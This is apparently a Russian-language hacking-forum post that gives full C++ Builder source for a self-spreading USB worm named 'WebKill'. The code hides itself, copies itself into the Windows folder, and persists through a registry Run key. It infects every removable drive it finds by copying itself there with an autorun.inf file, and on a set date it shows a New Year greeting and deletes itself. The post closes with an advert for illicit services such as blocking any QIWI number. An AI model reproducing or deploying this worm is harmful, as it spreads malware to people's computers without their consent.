Суть такая: Вирус распространяется с одного компа на другие через флеш носители. Затем закрепившись в системе уже начинает свою деятельность., в нашем примере неожиданно поздравляет с новым годом. Алгоритм состоит из 3-х основных задач: 1. Освоение на новом месте. Копируемся в систему, прописываемся в автозагрузку, и скрываемся. 2. Заражение новых флешек. Выполняем поиск подключённых к компу флешек, копируемся на них., атакже создаём autorun.inf для осуществления автозапуска. Затем делаем файл вируса скрытым, и меняем дату его создания. Таким образом флешка начинает без ведома владельца распространять наши копии. 3. Этот модуль периодически проверяет системную дату, чтобы определить когда стоит вывести поздравление с новым годом. Атакже вывод этого поздравления, и функция самоуничтожения. 4. Конечно можно воплотить здесь любые идеи в плане 25 кадра, захвата планеты, и прочее... но в данной статье это не рассматривается Код: [/COLOR]Реализация: #include <vcl.h> #pragma hdrstop #include<iostream.h> #include <registry.hpp> #include<DateUtils.hpp> #include "Unit1.h" //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma resource "*.dfm" TForm1 *Form1; //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //--------------------------------------------------------------------------- void __fastcall TForm1::FormCreate(TObject *Sender) { Application->ShowMainForm=false; //прячимся // Осваеваемся в новой системе if(ParamStr(0)!="C:\\WINDOWS\\WebKill_USB_Flash_V. exe") { //скопируемся CopyFile(ParamStr(0).c_str(),"C:\\WINDOWS\\WebKill _USB_Flash_V.exe",true); //и пропишимся в автозагрузку: TRegistry *reg=new TRegistry; reg->RootKey=HKEY_LOCAL_MACHINE; reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false); reg->WriteString("SystemX" , "C:\\WINDOWS\\WebKill_USB_Flash_V.exe"); reg->CloseKey(); reg->Free(); } } //--------------------------------------------------------------------------- void __fastcall TForm1::Timer1Timer(TObject *Sender) { // Будим заражать подключаемые к компу устройства try { FILE *F; DWORD Number, FileLength, VolFlags; char Drives[255],Buf[256]; char SystemName[127]; char *xxx; AnsiString S; int i ; PChar P ; RichEdit1->Clear(); if (GetLogicalDriveStrings(256,Drives) > 256) exit; // получаем списко дисков без ошибок P = Drives; while (*P != 0) // цикл по дискам { i = GetDriveType(P);//определение типа if(i==DRIVE_REMOVABLE && AnsiString(P)!="A:\\") { // только если сьёмный выполним: S=AnsiString(P)+"1v.exe";//подбор имени RichEdit1->Lines->Add(S); CopyFile(ParamStr(0).c_str(),S.c_str(),true); // копирование S=AnsiString(P)+"autorun.inf"; //подготовим авторан F = fopen(S.c_str(),"w+"); //открываем файл if(F) { fprintf(F, "[autorun]\n"); // создаём загрузочную запись fprintf(F, "open=1v.exe\n"); fprintf(F, "shell=Открыть\n"); fclose(F); } } /* else { ShowMessage(String("Cannot open file \"") + S + "\""); } */ P = P + 4; // шаг к следующему носителю } } catch ( ... ) { //ShowMessage("error"); } } //--------------------------------------------------------------------------- void __fastcall TForm1::Timer2Timer(TObject *Sender) { if(DateToStr(Now())=="03.11.2009") { // Поздравляем юзера с Новым годом Application->ShowMainForm=true; Form1->Visible=true; Form1->Top=(Screen->Height/2)-(Form1->Height/2); Form1->Left=(Screen->Width/2)-(Form1->Width/2); int h; AnsiString mes; int wt,ht; int x,y; h = HourOf(Now()); if (h<=5) mes="Доброй ночи"; else if (h<12) mes="Доброе утро"; else if (h<=17) mes="Добрый день"; else mes="Добрый вечер"; Canvas->Brush->Style=bsClear; Canvas->Font->Size= 21; Canvas->Font->Color=clRed; char c[256]; DWORD sizec =256; GetUserName(c, &sizec); Canvas->TextOutA(10,20,mes+" "+c+","); Canvas->Font->Size= 27; Canvas->TextOutA(100,230,"С Новым Годом!"); Canvas->Font->Size=11; Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill"); //Всего раз Timer2->Enabled=false; // и уходим с компа TRegistry *reg=new TRegistry; reg->RootKey=HKEY_LOCAL_MACHINE; reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVer sion\\Run", false); reg->DeleteValue("SystemX"); reg->CloseKey(); reg->Free(); DeleteFile(ParamStr(0)); } } //--------------------------------------------------------------------------- void __fastcall TForm1::Image1MouseMove(TObject *Sender, TShiftState Shift, int X, int Y) { int h; AnsiString mes; int wt,ht; int x,y; h = HourOf(Now()); if (h<=5) mes="Доброй ночи"; else if (h<12) mes="Доброе утро"; else if (h<=17) mes="Добрый день"; else mes="Добрый вечер"; Canvas->Brush->Style=bsClear; Canvas->Font->Size= 21; Canvas->Font->Color=clRed; char c[256]; DWORD sizec =256; GetUserName(c, &sizec); Canvas->TextOutA(10,20,mes+" "+c+","); Canvas->Font->Size= 27; Canvas->TextOutA(100,230,"С Новым Годом!"); Canvas->Font->Size=11; Canvas->TextOutA(300,530,DateToStr(Now())+" WebKill"); } Предлагаю услуги по: 1. Сделаю зеркало любого сайта в сети ТОR 2. Блокировка ЛЮБОГО QIWI Номера (Быстро) Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас. Софт советую использовать на виртуалке.